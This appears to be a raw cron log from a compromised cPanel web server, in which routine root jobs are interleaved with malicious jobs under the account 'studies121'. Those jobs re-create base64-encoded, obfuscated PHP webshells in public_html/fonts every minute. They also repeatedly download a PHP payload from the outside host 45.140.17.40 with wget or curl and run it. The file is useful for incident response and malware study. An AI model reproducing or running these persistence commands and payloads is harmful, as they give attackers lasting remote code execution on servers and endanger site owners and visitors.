Sep 22 01:26:01 ip-184-168-122-23 CROND[19797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:26:01 ip-184-168-122-23 CROND[19801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:26:01 ip-184-168-122-23 CROND[19803]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:27:01 ip-184-168-122-23 CROND[19999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:27:01 ip-184-168-122-23 CROND[20001]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:27:01 ip-184-168-122-23 CROND[20005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:27:01 ip-184-168-122-23 CROND[20004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:28:01 ip-184-168-122-23 CROND[20222]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 01:28:01 ip-184-168-122-23 CROND[20225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:28:01 ip-184-168-122-23 CROND[20224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:28:01 ip-184-168-122-23 CROND[20226]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:28:01 ip-184-168-122-23 CROND[20227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:29:01 ip-184-168-122-23 CROND[20330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:29:01 ip-184-168-122-23 CROND[20329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:29:01 ip-184-168-122-23 CROND[20334]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:29:01 ip-184-168-122-23 CROND[20335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:30:02 ip-184-168-122-23 CROND[20457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:30:02 ip-184-168-122-23 CROND[20460]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 01:30:02 ip-184-168-122-23 CROND[20463]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:30:02 ip-184-168-122-23 CROND[20465]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 01:30:02 ip-184-168-122-23 CROND[20466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:30:02 ip-184-168-122-23 CROND[20467]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 01:30:02 ip-184-168-122-23 CROND[20468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:30:02 ip-184-168-122-23 CROND[20470]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 01:31:01 ip-184-168-122-23 CROND[20687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:31:01 ip-184-168-122-23 CROND[20688]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:31:01 ip-184-168-122-23 CROND[20689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:31:01 ip-184-168-122-23 CROND[20691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:31:01 ip-184-168-122-23 CROND[20692]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 01:32:01 ip-184-168-122-23 CROND[20885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:32:01 ip-184-168-122-23 CROND[20888]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 01:32:01 ip-184-168-122-23 CROND[20887]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:32:01 ip-184-168-122-23 CROND[20889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:32:01 ip-184-168-122-23 CROND[20890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:33:01 ip-184-168-122-23 CROND[20994]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:33:01 ip-184-168-122-23 CROND[20995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:33:01 ip-184-168-122-23 CROND[20997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:33:01 ip-184-168-122-23 CROND[20998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:34:01 ip-184-168-122-23 CROND[21101]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 01:34:01 ip-184-168-122-23 CROND[21103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:34:01 ip-184-168-122-23 CROND[21104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:34:01 ip-184-168-122-23 CROND[21105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:34:01 ip-184-168-122-23 CROND[21107]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:35:01 ip-184-168-122-23 CROND[21490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:35:01 ip-184-168-122-23 CROND[21491]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 01:35:02 ip-184-168-122-23 CROND[21493]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 22 01:35:02 ip-184-168-122-23 CROND[21494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:35:02 ip-184-168-122-23 CROND[21499]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 01:35:02 ip-184-168-122-23 CROND[21498]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 01:35:02 ip-184-168-122-23 CROND[21500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:35:02 ip-184-168-122-23 CROND[21497]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:36:01 ip-184-168-122-23 CROND[21626]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:36:01 ip-184-168-122-23 CROND[21627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:36:01 ip-184-168-122-23 CROND[21632]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 01:36:01 ip-184-168-122-23 CROND[21630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:36:01 ip-184-168-122-23 CROND[21631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:37:01 ip-184-168-122-23 CROND[21747]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:37:01 ip-184-168-122-23 CROND[21748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:37:01 ip-184-168-122-23 CROND[21751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:37:01 ip-184-168-122-23 CROND[21750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:38:01 ip-184-168-122-23 CROND[21936]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:38:01 ip-184-168-122-23 CROND[21938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
